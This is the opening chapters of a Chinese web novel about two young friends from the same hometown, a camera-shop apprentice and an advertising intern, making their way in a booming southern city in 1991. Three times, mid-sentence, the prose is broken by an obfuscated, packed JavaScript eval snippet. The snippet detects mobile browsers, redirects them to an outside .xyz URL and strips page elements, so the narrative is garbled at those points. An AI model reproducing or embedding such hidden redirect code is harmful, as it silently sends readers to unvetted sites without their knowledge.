《半生守望》 1. 新世界 1991年的8月,苏联正处于崩溃的边缘,即将瓦解的两极格局,使北美与亚洲举世瞩目。 中国正进入改革开放的黄金期,年轻人们由内地向沿海、由北向南淘金致富。 黎江市几乎是在一夜之间发展起来的,知名的外企、新生的国企层出不穷,遍地都是飞黄腾达的梦。 早晨徐清旖说今晚公司在勃艮第路新开的那家酒店有个聚餐,所以让他先回去。 沈翌太了解徐清旖了,如果不是想让他去接她,一开始她就不会说地址。 等到夜色渐沉,他收拾好店里的东西,检查过新进的相机编码及位置,锁好小门从最左侧绕道离开。 相机店也在勃艮第路,这里是黎江市最工业化的一片区域,第一家在这里建厂的外企因生产勃艮第红酒而知名,这条路也因此而得名。 不远处有一个小广场,在靠近喷泉的地方有一张长椅,印象中一位大胡子的流浪汉夜夜睡在这儿,他已经好几天不见人影。 万师傅说他被警察带走了,也不知道什么时候才会回来。 穿过长长的街道,踩着雨后的青石板路拐进一条小巷,再往北二十米以后,沈翌在一间早已年迈的小店门前停下来。 长着皱纹的老奶奶笑着和他打招呼,沈翌点点头叫了声“阿婆”。 “丫头没跟你来哇?” “她在加班。” 沈翌笑了笑,洗个手想来帮忙又被赶走。 “边儿去,马上收摊,就等你们了。” “谢谢阿婆。”他也嘴甜,接过婆婆替他们温好的糖火烧,“上次的有点没味儿。” “你呀!男孩子嗜甜咧!” 说罢,她随手又将手里的小块摁成圆形的小桃,抹上一层厚厚的糖酱,仔细摆在烤盘里。 沈翌瞧阿婆这动作就知道她给自己重新做定制款了,赶忙道:“就知道您最好了。” 阿婆嗔怪地看他一眼,“嗜甜还不吃辣,一点不像南城人。” 沈翌和她说胡话,“和您讲个徐清旖也不知道的秘密,其实我是捡来的。” “真的?”阿婆惊呼一声。 “假的。” 又收到了一记白眼。 沈翌也不贫了,轻车熟路从桌堂里拿出一只纸袋给烤盘里的糖火烧做好准备工作,然后又仔细辨认过手里的两个糖火烧,将特殊烤得很老的那只给徐清旖留下。 他正要把另一只取出来,阿婆一把摁住他的动作,摆摆手,“我不吃你那个加了糖的,你把两个都带走。” “真的?”沈翌语气上扬,“那我赚了呀!” “是,我乐意的。” 她一向拿这两个孩子没办法,扭头继续去给人做糖火烧去了。 过了会儿,沈翌拎着东西走了,她慢吞吞回身,在沈翌刚从桌堂里摸出来的那张报纸下找到了几张纸币。 正好多出了一个糖火烧的钱。 “啧。”阿婆叹口气,“这孩子。” - 沈翌在一家商k楼下等到徐清旖,他从饭店一直跟到商k楼下,又等了没几分钟,徐清旖就跑了过来。 她拽着沈翌往反方向走,一边平复呼吸,一边和他吐槽,“太可怕了,还好我溜得快。” 到了一个大概是相对安全的地方,徐清旖停下来,沈翌才将糖火烧递过去,然后问她:“怎么了?” “你今天吃两个?没吃晚饭?”她道:“别提了,社会险恶呀小沈,多亏肖珩,救了我一条小命。” 徐清旖长着一张鹅蛋脸,眼睛圆圆的,长相十分显小。 她穿一条白色布质长裙,外面套一件水洗牛仔的外套,眯着眼睛品尝美食,像一只慵懒的布偶猫。 徐清旖找了张长椅坐下,拍了拍身边的空位,眼睛笑弯了,“今天阿婆放了好多糖啊,你快来尝尝。” 沈翌挑挑眉,反应过来,“你吃错了。” “你才吃……” 徐清旖咀嚼的动作一顿,怪不好意思的,“好像是。” “没吃饱?” 接过他新拧开的矿泉水喝了口,“领导谈工作我不敢动筷,领导喝酒我不敢吃饭,领导闲聊我不敢出声。” “哦~”沈翌拉长尾音,“扮演雕像?” 徐清旖将水瓶还给他,腾出一只手朝他竖了个大拇指。 “所以你也没吃饭?” “嗯。” “晚饭也被我吃了?” “嗯。” 沈翌顺着她的话说,果然下一秒她两眼放光地抬头,“走吧!加餐去!” “是谁说以后只有遇到升职加薪跳槽这种喜事才能加餐的?”他故意问。 “有喜事啊!” “什么?” 徐清旖被提起了开心事,凑到他面前反问:“你猜这个月我们公司的转正名额是谁的?” “我想想啊。”沈翌认真思索两秒,“姓徐?” “好像不是哎,我们外企哪来的姓徐的啊。”徐清旖暗示。 沈翌恍然大悟一般,“那个新来的Yi?” “你也听说过她!” “当然,据说那个很难搞的老板最满意的就是她的方案,现在公司里最神气的就是她了。” 徐清旖骄傲地偏偏头,“那确实挺厉害的。” “是啊,所以转正名额给她我认为是……” “是什么?” “众望所归。” 徐清旖没憋住,笑出来,又从长椅上站起来拍拍他的肩膀,“走吧小沈,你旖姐请你吃饭去!” 黎江市的贫富差距很大,有钱的资本家们疯狂建厂压榨劳动力,纸醉金迷是上三层的假象。 高楼大厦之间多的是贫民窟,只是大家都被挡住了视线。 沈翌前几个月刚来这儿的时候,坐着公交车把黎江逛了个遍。 同一天内,走过商业区,也走过郊区,像是一天之内看遍了人生百态、市井千味。 他们都是西南边陲的南城人,他大学也是在本地念的,如果不是徐清旖在黎江读大学,毕业后又邀请他过来工作,可能这一辈子他也不会主动来到这里。 吃饭的时侯他们闲聊了起来,沈翌问她要调去哪儿。 “在新区那边。” 徐清旖回答后又叹了口气。 “最开始我是想面试香港那边的分公司的,但那边努力的聪明人太多了,也只有你这样的人才能顶得住那样的压力。” “你很喜欢香港吗?” “对啊,她是一位东方美人。” 徐清旖捧着脸,眼神艳羡地飘向外面的高楼,那其中黄白色的灯光交错,繁华极了。 “以前有一次放假,我和同学一起去那边玩,那是我第一次看到旺角的大楼,还有维多利亚港,太震撼了。我就想,如果我以后有机会来这边实习,那我拼了命也要留下来。” “可是……” 她叹出一口气,又忽然抬起头,“没关系啦,黎江挺好的,前几天市政府的宣传口号还是建设第二个香港呢。” 沈翌也看着她,等了几秒钟后才开口说:“等以后香港回归了,可以多去那边玩。” “好啊,我们一起去。”徐清旖笑了笑,“不过回归啊,应该也快了吧,你说到时候维港会不会改名?会改成什么呢?” “你觉得呢?” “不知道,好难啊。”徐清旖说:“以前学历史的时候就觉得香港好可惜,真的好多年了。” 沈翌偏了偏头,初中学历史讲到割地赔款,那时候年纪小理解不到“香港岛”三个字代表着什么。 只是历史老师红着眼睛说:“是苦难让香港这颗海上明珠更加璀璨。” “迟早会回来的。”沈翌说:“到时候可以一起去。” 后来徐清旖去过很多次香港,那座港口城市里有人一夜成名发家致富,有人投海自尽销声匿迹。 旺角永远繁华,西贡却似乎永远在底层。 那是一座兼容的城市,无论是谁都可以找到共鸣。 - 他们的出租屋在同一栋楼,楼上楼下的距离,沈翌总是会把她送到楼上再回自己家。 他有一个室友,是来自山西的小年轻,叫李其深。 回到家的时候,李其深正在客厅收拾东西,听见关门声,挠了挠后脑勺,头也没回。 “你回来啦,我妈找人带了甜辣酱,你要尝尝吗?” 沈翌把手里打包的东西放在桌上:“我不吃辣。给你带了胡记的蹄花汤你尝尝,我先去洗个澡。” 李其深这才去把蹄花汤拿过来,他运气没有沈翌那么好,现在只是在流水线上做一个小职员,每个月的工资少得可怜,在客厅搭了张小床将就着。 其实每晚躺在这个逼仄的小屋的时候,他都会有明天就打包行李回家的冲动。 但是等到天一亮,看见外面的高楼,又忍不住期待自己会不会有一天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389876|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这里闯出个未来。 沈翌把自己的双肩包放在床上,里面装着今天相机店的工作记录。 刚来黎江的时候,找工作四处碰壁。 他大学的专业太过冷门太过学术,技术性不高,只是恰巧碰见一个和外国人沟通不善的中年人,后来这人就成了他的老板万师傅。 万师傅有一家自己的相机店,但他从来不收新式的电子照相机,展柜里摆的都是早期的徕卡、哈苏等等。 时代发展太快了,仅仅几年时间,黎江市就可以从一个小渔村发展成为中国的一线城市。 怀旧的人走街串巷只为找到一间有年代感的店。 今天上午沈翌还帮人拍了一套照片,那是一家四世同堂。 为了照顾老人的愿望,特意来这里找民国时的那种相机。 最后他们选定的是19世纪60年代的四镜头tintype相机,这也是沈翌最喜欢的一款。 大学的时候,老师讲到暗箱理论,当光线穿过针孔进入黑暗区域,就会产生倒立的图像,和高中时候学的小孔成像是一个道理。 - 夏季的黎江湿润多雨,空气都很黏腻。 第二天,沈翌穿着一件浅咖色的polo衫来到店里。 万师傅来得很早,正伏在工作台上研究一款相机,见他来了连忙招呼他:“小沈,小沈,快过来!” 沈翌收了伞,把包放在前台,走到万师傅身边,见他手里的相机应该有好多年头了。 “认得出来吗?”万师傅问。 “型号吗?” “对,猜猜。” “折叠镜头看起来有点像EastmanView,但大小不太像,我没见过这款,这是你找的新品种吧?” 万师傅笑眯眯地说:“算你小子聪明,这的确不是EastmanView,这个可比它宝贝多了。” “是什么?” “柯达。” “柯达?”沈翌皱皱眉,不太理解的样子 “这个啊,是一四年柯达出的口袋相机,而且就我手里的这一台,里面全都是抗战时候的照片,所以可宝贵了。” 沈翌点点头,“这我倒是理解了。” “你来学学技术,你大学又不是这个专业,不学点手艺以后怎么生活?” 沈翌没说话,搭了个凳子在工作台旁边坐下。 万师傅突然说:“哦对了,今天早上接到一封电报,徐说晚上有事不和你吃饭了。” “好。” “是你那个小女朋友吧?经常看见她过来等你,还在读书?”万师傅问。 “不是女朋友,和我一样今年毕业了,在创业园那边一家公司实习。” “创业园?知识分子啊?你们怎么认识的?哦对,你也是大学生。” “以前的同学,我们都是南城人。” “一起过来的?”万师傅一边拧着相机上的螺丝,一边说:“喜欢人家吧?” 沈翌沉默了一瞬,然后说:“我们……关系很好。” “年轻人呐。” 万师傅用一旁的布擦了擦后盖,然后小心翼翼地打开它。 “喜欢就去争取试试,小姑娘不喜欢你才不会陪你浪费时间。” 沈翌没吭声,万师傅指着相机内部。 “你看,这款采用的是滚珠轴承叶片式快门,这种滚珠轴承呢,是金属珠运转,容易激活,你学数学的应该知道吧?” “知道,金属珠运转的话,是点的接触,激活相比更简单一些。”沈翌说。 “你觉得和含油的轴承比较起来呢?哪个更好一点?” “滚珠吧,寿命更长一点。” “对。”万师傅说:“不过呢,这种轴承体太脆弱了,几乎不能承受外力的撞击,相比含油的来说,噪音也会更大一点。” “我记得你以前修过一款含油的,实际上后来者永远比前者好一些。” “干我们这一行的其实都不太喜欢捣鼓滚珠,你看。” 万师傅用螺丝刀指了指机体里的一小块弹簧。 “这个弹簧用来固定金属珠,这一块组装起来是最要命的,每一次弄完我都感觉眼睛要掉出来了。” “你教我,我帮你装。” “我就是这个意思。”万师傅笑着说:“年轻人精力好,你来做再合适不过了。” 沈翌也笑了笑,无奈自己钻进去的套就要自己去解开。 2. 旧相识 徐清旖下班时远远就看见沈翌在公司楼下等着她。 他靠在路灯下,随意摆弄着手里的小本子,白色的光洒在他的脸上,好像碰巧路过这里的旅人。 徐清旖穿着黑色的高跟鞋,提着小包跑过去。 听见声音,沈翌停下了手里的动作,看向徐清旖的眼神变得柔和。 “在看什么?”徐清旖问他。 “下次穿高跟鞋别用跑的,容易摔。”他把小本子递给她,“工作笔记。” “学什么了?”徐清旖翻了翻笔记本,问道。 “滚珠轴承。” 见她不懂,沈翌又用英语解释道:“BallBearing.” 徐清旖似懂非懂地点点头,把小本还给他,又听见沈翌问:“吃饭了吗?” “吃了。今天我们公司来人检查,我还挨了一顿骂。” “怎么了?” “大老板来检查,随便点人问问题,我就被选着了。” 沈翌接过她手里的包,听见她继续说:“他问我大学什么专业?我说商英,然后他问我为什么做秘书。我就实话实说呗,我说就业压力大,找到喜欢的工作不容易。” 沈翌闻言也笑了起来,“我明白了,他觉得你是因为没工作才来做这个的吧?” “老板还好...就是我们经理,肖珩。”徐清旖说:“他白了我一眼,明天我肯定完蛋了。” 他们沿着路走,清凉的微风吹过一旁的江面,抚上他们的脸。 徐清旖问:“那你当时为什么去相机店?你明明可以去大学当数学助教的。” “我不喜欢那个。” 沈翌说:“我不擅长和别人打交道,要是让我去处理师生关系,我甚至已经能够想到和我同样头疼的领导和孩子们了。而且在相机店的话,还能学一些关于摄影的知识。” “我怎么不知道你喜欢摄影啊?我只记得高中的时候你画素描画得可好了。” “那都是瞎画着玩儿的。”他说:“其实你和你老板说的那个回答没什么错,只是容易引起歧义。” “我当时还奇怪他白我干嘛呢,后来才反应过来。” “没考虑过转翻译吗?” 沈翌拦下一辆三轮车,让徐清旖先坐了进去。 “还没有碰见机会呢。我们公司有翻译,唯一一个专业聘请翻译的是肖珩,他的翻译叫林知一。” 徐清旖靠在背垫上。 “说到她,她前几天还让我搬过去和她一起住呢,两室一厅的房子,想找人分担租金。” “那为什么不搬?是不是离公司还近点?” “是要近一些,可是我走了你怎么办?你那个室友老是不着家的,就没人陪你吃饭了。” “你别担心我,我比你还大几个月。” “我再想想。” - 徐清旖决定搬家的那个周末,沈翌终于把弹簧和金属珠装好,来取相机的是一个中年女人。 据说修好相机是她父亲的遗愿,为此她已经辗转了好几家店了,作为一名编辑社的主编,她保证自己一定会把这些照片公之于众,让世界都看见日本人的罪行。 搬家的时候,沈翌向徐清旖提起这件事,她是一个当之无愧的感性派。 她说:“你这是为祖国做贡献啊沈翌,你真的好厉害啊。” 林知一听见了也点点头,“真的很厉害。” 沈翌抬头和他们对视,“修理都是师傅做的,我只是完成几个闭环而已。” “那也很厉害。”林知一说:“不过你大学学的就是机械维修吗?” 徐清旖摆摆手,“不是哦知一,沈翌大学学的是数学。” “数学?”林知一惊讶地问:“那你怎么来做这个了?” 沈翌抿抿唇,不甚在意地回答道:“找不到对口的工作。” “没考虑过继续读书吗?”林知一说:“数学的话,做学术研究应该会更好一点吧?” 沈翌摇了摇头,没说话。 徐清旖也没有接话,坐在刚铺好的床上,忽然想起了当年。 高三时,沈翌的总成绩永远在年级第一,数学单科在全国都很出众,所有人都默认清华数学系的全额奖保送名额是他。 通知下来的那一天,徐清旖跑去他们班找他,却被告知他从中午被叫去办公室就一直没回来。 午后的蝉很聒噪,大声而放肆地叫嚣着,像是几年后喊着“冲刺高考”,想要借此一跃龙门的学生。 最后她找到沈翌的时候,他正坐在学校那座烂尾楼的楼顶,平坦而广阔的天台空空荡荡,少年单薄而瘦削的身影在风中显得十分孤独。 绿白色的校服罩住他的身体,沈翌靠在矮墙边,闭着眼睛,不知道在想些什么。 徐清旖没说话,走到他旁边坐下。 沈翌知道是她来了,他的这位热心前同桌,衣服上永远有一股栀子花的香味。 等了一会儿,他才睁开眼睛问她:“怎么了?” 徐清旖看着他没说话,他的眼睛是深黑色,过了几秒她笑着问他:“看你一个人在这里发什么呆?” “你已经知道了吧?” “我认为没什么啊,反正你自己也可以考去清华。” 沈翌低下头,有一只蚂蚁搬着一块不知道从哪里捡来的糖果碎片,走几步被压垮,又爬起来继续走,又被压垮。 “爷爷他……”沈翌的声音卷在风里,“算了。” 徐清旖深吸一口气,她想按捺住自己的情绪,现在眼前的人应当是比她更难受。她看见沈翌微微颤抖的嘴唇,眼眶一热。 “小学的时候郭老师对我们说过到罗马的路四通八达,你还记得吗?” “我知道啊。”沈翌偏头看向她,“殊途同归,郭老师说的。” 在教务处的时候,教导主任对沈翌说:“你成绩好,可以自己考清华,这个名额你占着就是浪费了。” 他的眼神微闪,轻笑了一声,问:“可是他考不上,为什么要让我来买单呢?” 主任气他不知变通,脸上的横肉抽搐着,双颊变得通红。 “他是局长的儿子,你让让他不行吗?你这孩子小小年纪,怎么这么犟呢?” 终于得到了答案,沈翌挑挑眉,将桌上自己被退回的申请书拿了回来,说了一句“谢谢”就转身离开了。 此刻他的身侧是那张几乎写满了获奖情况的全额奖保送申请表。 徐清旖看见他的眼睛充斥着红色的血丝,像是即将发怒,但下一秒又恢复了以前那副无所谓的样子。 “条条大路通罗马。” 少年的声音从耳边传来,她听见他说:“可是有的人,出生就在罗马啊。” “出生就在罗马的人,却还要我为他让路。” “算了。” - 徐清旖的公司是近几年刚发展起来的广告公司,近两年广告行业得到新发展,越来越多的国外企业开始上门寻求合作,力图通过营销打开中国市场。 她的工作其实不仅限于一个小秘书,肖珩是她大学同部门的师兄,总是会想办法给更多的任务去磨炼她。 “我今天不去上班,先去机场接人。” 徐清旖一边把自己的长发绾起来,一边对客厅正在吃早饭的林知一说。 “接人?肖总又给你派任务了?” 林知一的头发短短的,穿一套白色的西装套裙,知性又干练。 “嗯。”徐清旖说着开始描眉,“伦敦有个香水公司,FLAW,来和我们谈工作,肖总让我去接一下负责人。” “FLAW?”林知一顿了一下,笑出了声,“取名字还真是挺随便的。” 徐清旖也笑,抹上薄薄的一层豆沙色的口红,“可不是嘛。” “对方照片你有吗?外国人都长一个样,别到时候去了闹笑话。” “放心,照片我有,而且还有小关陪我去。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389877|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 徐清旖只画了个淡妆,匆匆忙忙地离开洗手间,从桌子上抓了个馒头叼在嘴里就提着包穿鞋。 “他们六点十分到,我先出门了啊。” 黎江市的机场是新修的,小而简陋,但是人流量巨大。 已经六点半,看样子应该是飞机晚点了。 徐清旖捶捶颈侧,对小关说:“我去趟洗手间。” 大约排了几分钟的队,等到出来时,她正巧看见一个约莫五六岁的小男孩,蓝眼睛,黄头发,可怜兮兮地眨着湿漉漉的眼睛盯着她。 出于安全考虑,徐清旖上前去问他:“小朋友,你怎么一个人在这啊?” “我找不到哥哥了。”小孩中文说的还不错,皮肤很白,脸上的软肉鼓出来,看着实在让人怜惜。 徐清旖只能远远地望一眼小关,发现他还没有等到人,于是她问小孩:“你在这等了有多久了啊?” “哥哥说让我等他,他一直没回来。” “那哥哥是让你就在这里等他的吗?” 小孩想了想,摇摇头,“姐姐,我找不到原来的路了。” 徐清旖大概猜到小孩应该是自己走丢了,她现在应该把他送去机场的保安室或者广播室。 她正准备带着小孩离开的时候,身旁路过一个外国男人,徐清旖看见那人穿着一件蓝白色的花衬衫黑色短裤,金黄色的短发扎了个小尾巴。 那人视线落在小孩身上,几秒后又重新盯着自己看。 “你好。”徐清旖说:“请问你是这个孩子的监护人吗?” 男人皱皱眉,歪着脑袋用不太标准的发音问:“监护人?” “你认识这个小孩吗?”徐清旖又用英语问了一次。 “我没有这么大的孩子。”男人戴着一副墨镜,看起来惹眼极了,“你不认识他吗?” “他走丢了。”徐清旖又望了望小关,对方正无聊地抠手指,然后说:“打扰了,我现在带他去广播室。” 男人点点头,转身离开了。 等到把小孩交给机场的工作人员以后,徐清旖才跑回了原地,本以为不会耽搁太长时间,但显然对方已经到了一会儿了。 “抱歉,我...”徐清旖想解释,等到对方负责人站起来,她看见了一张熟悉的脸。 “FLAW?”徐清旖问,穿着蓝白衬衫的男人笑了起来,嘴里还嚼着口香糖。 他说:“嗨,你可以叫我的中文名,李安。” 男人本名叫Richard,给自己取的中文名叫李安,是英国伦敦一个小众系列香水Flaw的创始人之一。 Flaw挂在一个很老派的香氛名下,这个小系列自从面市以来一直饱受争议,走惯了优雅高端的大品牌忽然出品年轻向的青春系香水。 能让老品牌做出这么大胆的尝试的,正是眼前这个看似不羁的男人。 传说中李安就是这个老牌创始人的儿子,真正的高高在上的太子爷,无论他想做什么,永远会有人在背后支持他。 这就是出生就在罗马的人。徐清旖想。 “后来呢?”在车上时,李安忽然问。 “嗯?”徐清旖转过头,李安坐在后座一脸漫不经心。 “那个小孩。” “广播室可以做广播,工作人员会找到他的监护人的。” 说完她又用英语解释了一次“监护人”,“不好意思,当时我以为你就是他哥哥。” “长的还挺像的对吧?”李安说,“不过中国不是叫爸爸妈妈吗?” “监护人可以是爸爸妈妈,也可以是哥哥姐姐。” “噢。”李安说:“我们现在是去吃饭吗?” “你还没吃早饭?” “没有。”他的表情委屈,“这个航司的食物很难吃。” “小关,找个早餐店停一下吧?”徐清旖问,“李先生有什么想吃的吗?” 李安转了转眼珠,脸颊浮上两个酒窝,“你带我吧。” 3. 老建筑 等到公司的时候,已经快到八点。 正是他们平日的上班时间。 徐清旖去签了到,坐在自己的工位上准备开始做昨天晚上没有完成的工作。 “小徐,肖总叫你。”邻座的同事过来说。 徐清旖把文件放在桌上,然后才去肖珩的办公室推开了门。 “肖总,有什么事吗?” “这是Flaw的负责人,你认识的。”肖珩说。 徐清旖点点头,又听见肖珩说:“你来做翻译。” 李安朝她挑挑眉,徐清旖问:“我?知一姐呢?” “她有另一个项目。”肖珩说。 “好的,我明白了。” 李安年轻,作为富二代本身就骄纵。 一次会议下来,问题回答得牛头不对马嘴。 送走了他以后,徐清旖瞄了眼肖珩,看见他紧抿着的嘴唇,察觉到他此时应该火气不小。 她低着头,想要避免惹上这场无名火,却听见他叫自己的名字。 肖珩感觉自己的眉心正突突地跳,他合上计划书,闭着眼睛轻按太阳穴。 “这几天你负责一下接待,了解对方的喜好,过几天我们再谈。” “肖总,这位李先生,真的是负责人吗?” “他是主管。”肖珩说:“那边传回来消息说主管过来的时候,我以为他们是重视中国市场,现在想来,大概是太子爷想出来转转。” “那怎么办?”徐清旖问:“他年纪轻,出门连个翻译也不带,也不会谈合作。” “等等吧。”肖珩叹了口气,然后说:“这几天你把人跟紧了,别走丢了。” - 为响彻精神建设的号召,黎江市文化局邀请沈翌用旧相机给文物和古建筑拍宣传图。 这天他起了个大早,先顺路来到阿婆这里包了两份糖火烧装进背包,然后才背着相机去工作。 文化局副局长是一位中年人,他很重视这次拍摄。 见沈翌来了,一边打电话一边招呼他。 “今天拍老城,你从这扇门进去,我们的车在等你。我这儿走不开,我待会儿中午过来找你们,路线和拍摄重点我都给小王讲了。” 沈翌点点头,顺着他指的方向往前走。老远看见一辆黑色的小车,车头处立着一个小年轻正向他招手。 “沈先生是吗?刘局让我在这儿等你。” 沈翌点点头,复又觉得好像不太妥当,朝着他伸出了手。 小王是农村来的,还不太适应这种问候方式,错愕了一瞬间,后知后觉地回握。 黎江市的文化底蕴其实并不深厚,所谓老城也是没多少年前建的些清朝的建筑,在此之中有特色的更是少之又少。 沈翌被小王背课文似的磕磕绊绊的讲解闹得有些头疼,又不好意思出声打断,只能埋着脑袋仔细瞧取景器。 “现在这个是叫寻阳阁,是清朝...”他似乎有点想不清年份。 “康熙廿三年造。” “原来你知道啊!”小王说:“对,就是康熙。我人笨,记不太清了。” “刚来的时候在石碑上扫了一眼,是我不够认真听你讲。” “我还不知道讲得对不对呢,你记性真好,我就算扫一眼也不记得。” 他没接话,此时无论怎样都显得不太合适,只能换了个话头,指着顶层。 “歇山顶,我最喜欢的设计。” “这我知道,以前村子里修老房子,都是这种顶,好看还不积水。” 沈翌点点头,“最早是叫九脊殿,听着没有味儿。” “沈先生你是哪儿人啊?” 一个上午的相处,小王对他已经有些崇拜的意思了。 “我是南城人,夏季多雨,这种顶也就常见了,其余的是听老人们讲的。” 其实沈翌没说真话,大学四年他日日泡在图书馆。 学累了的时候就会找些带插画的书看,有一本叫做《中国古建筑研究》的书,沈翌认认真真看了好几遍,认识的也就多了。 刘副局长来时提着一小盒蟹酿橙,这是杭州的菜式。 将蟹肉装进空的黄橙瓣里,酸甜的果汁泡着,放在米酒和香醋调配的汤中蒸熟,新颖香甜。 之前徐清旖馋嘴,拉着他从黎江的江南跑到江北,就为了尝尝那家极出名的杭州菜,其中就有这蟹酿橙。 局长把吃食递给沈翌,不允许他拒绝以后,问他有没有去看佛光寺。 沈翌摇摇头,又跟着局长去参观庙祠。 “这是我们市里最老的建筑,始建于宋朝。”局长说:“宋代人偏爱月梁造,工艺也成熟些,建筑便精美了许多。” 沈翌给顶上的横梁拍了几张照,听见他说:“北宋的《营造法式》给月梁定了制度,建造更规矩了,佛光寺就是之后建成的。你看,在这根长梁上。” “四椽栿。” “你知道?” “听说过。”沈翌点头,“这里月梁的梁头应该是卷刹。” “早年在山西见过带卷刹的柱头,但他们说那是元代的建筑。” “宋代以前好像是北方更常见,元代大规模使用减柱法,斗拱的作用减小了,月梁上的美观要求也就相应降低了。如果您所说的建筑也是佛寺的话,选用卷刹应该还有祈福的考量。” 沈翌说:“卷刹也是卷杀,杀削不祥。” “我做研究员的时候,就是在唐宋口儿的,后来被调去明清,就没怎么关心这一块了。” 局长点燃一支烟,拇指和食指放在一起捻了捻。 “书上说唐宋时多有月梁,明清后就少用了。其实你看,它说的不对,现实中明清以后南方建筑仍然多有乳栿和月梁。” “明成祖迁都后,政治中心北移,社会的关注点自然也就去北边了。” “大学学的古建筑?” “数学。” “数学?那还真是新奇。” 局长认真看了他几眼,“那你说说,这古希腊人讲究的黄金分割,和中国最重视的轴对称,你是怎么看的?” 沈翌抿抿嘴,只略微想了几秒。 “毕达哥拉斯通过音律发现黄金分割律,所以我更倾向于这是一种自然规律。星体运动、粒子运动或是更多都呈现出黄金分割,0.618的最佳比值规律,这是人与自然共同选择的美学观。从人体美学的角度来讲,黄金分割比绝对是最完美的。” “但是从建筑学的角度讲,这世界上几乎不存在自然形成的完美对称体,如果将世界上的所有事物都分为完美轴对称体与不完美轴对称体,物以稀为贵,黄金分割体在轴对称体面前又显得不值一提。” 沈翌说完看向刘局长,似乎是在等他回复。 “不错啊年轻人,知识面很广,有没有兴趣来文化局试试?”他嘬完最后一口烟,把烟头扔进灭烟沙。 “过誉了刘局,我只是略知皮毛,完全比不上您的研究员。” 刘副局长笑了起来,拍拍沈翌的肩。 “后生可畏啊,年纪轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389878|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却知识渊博,我是很欣赏你啊,什么时候想来看一看,就找我。” - 徐清旖这几日总在想,如果李安生在中国古代,必定是那种人人埋怨的纨绔子弟。 “Yi,为什莫?”他的中文蹩脚又生疏,乍一听实在是好笑得很。 徐清旖坐在座位上,一会儿抠抠手指,一会儿又搓搓脸。 只是在听见对面人询问的时候,才会抬抬眼睛假装认真地扫一眼,然后敷衍着回答几句。 倒不是她懈怠工作,她目前的工作就是陪着这位太子爷。 但是他这两天不知道从哪儿淘来一本菜谱,一页一页地翻,感兴趣的要记下来找了吃,特别感兴趣的还要学了步骤回家尝试做。 正想得出神,李安将菜谱往她眼前一放,指着上面的图,眼神似乎是在说:“这是什么?告诉我,就现在。” “这是三鲜豆腐皮。” “伞鲜斗肚皮?”李安装模像样地学了一遍,然后又问:“水水?” “jiang。”徐清旖憋着笑说:“浆水。” “吃这个!” “什么?” 还不等她反应过来,李安已经迈着步子离开了办公室,她只能迅速从旁边拿过来包跟着追上去。 好不容易在下楼梯时与他并肩,徐清旖耐着性子问:“去哪儿吃?武汉?” 对方没回答,她只能接着说:“江北有一家私厨,我们去那里看看行吗?说不定能有你说的那道菜,还有你昨天想吃的糯米鸡和油爆河虾,那里都有,我们不去武汉行吗?” 李安停下步子,好像在认真思考她说的话,许久才点点头。 徐清旖吁了口气,刚从楼上跑下来冒了些热汗,一转头忽然看见正向自己走来的沈翌。 “你怎么来了?”他们已有小半月未见,徐清旖的眼睛都亮了亮。 沈翌没说话,从背包里拿出那两盒糖火烧,说:“猜你会馋。” “太好了!” 她迫不及待地打开,又忽然记起这是在大街上。 李安在一旁观察沈翌,眼前的这个男人比一般的东方人要高一些,比自己却还是要矮半个头。 他不爽被忽略,皱着眉从喉间发出些声音吸引注意。 徐清旖忙把手里的一个小盒递过去,她怕这位大魔王一个不高兴真跑去武汉,于是殷勤着说:“尝尝?” 李安这才脸色好看些,梗着脖子点点头,拿了一块糖火烧咬一口。 沈翌看着他们的互动眯了眯眼睛,什么也没说。 徐清旖介绍道:“这是我们公司的客户,Richard,李安。” 沈翌闻言向他伸出手,介绍自己说:“Yi” 李安回握,问他们是否同名? 徐清旖笑着说:“这是我们上学的时候取的英文名,因为我们的名字都有yi,所以英文名就取了同一个。” “你们是在恋爱吗?”李安问。 “我们……”沈翌摇摇头说:“没有。” “你吃饭了吗?”徐清旖顿了顿,问沈翌:“我们去江北吃饭,一起吗?” “吃过了,我就是来给你送这个,阿婆想你了。” “最近有点忙,等我有时间就去看她。”徐清旖笑着回答。 “走不走?”李安的眼神在他们之间晃了晃。 “好啦,走走走,我们先去吃饭了啊!”徐清旖向沈翌摆摆手后,和他拦了辆车离开。 沈翌站在原地,大拇指轻轻捻着食指关节。 4. 冷冰冰 相机店里万师傅还在忙着他的研究,听见他回来了,懒懒招呼一声。 “吃饭没?” “不太饿,我先去洗照片。” 小暗屋的门一关,万师傅手上的镊子顿了顿,只觉得这小孩今天奇怪得很。 沈翌紧抿着唇,他将相机中的胶卷取出来,用引片器引出片头,然后再在暗袋中卷片放入显影罐。 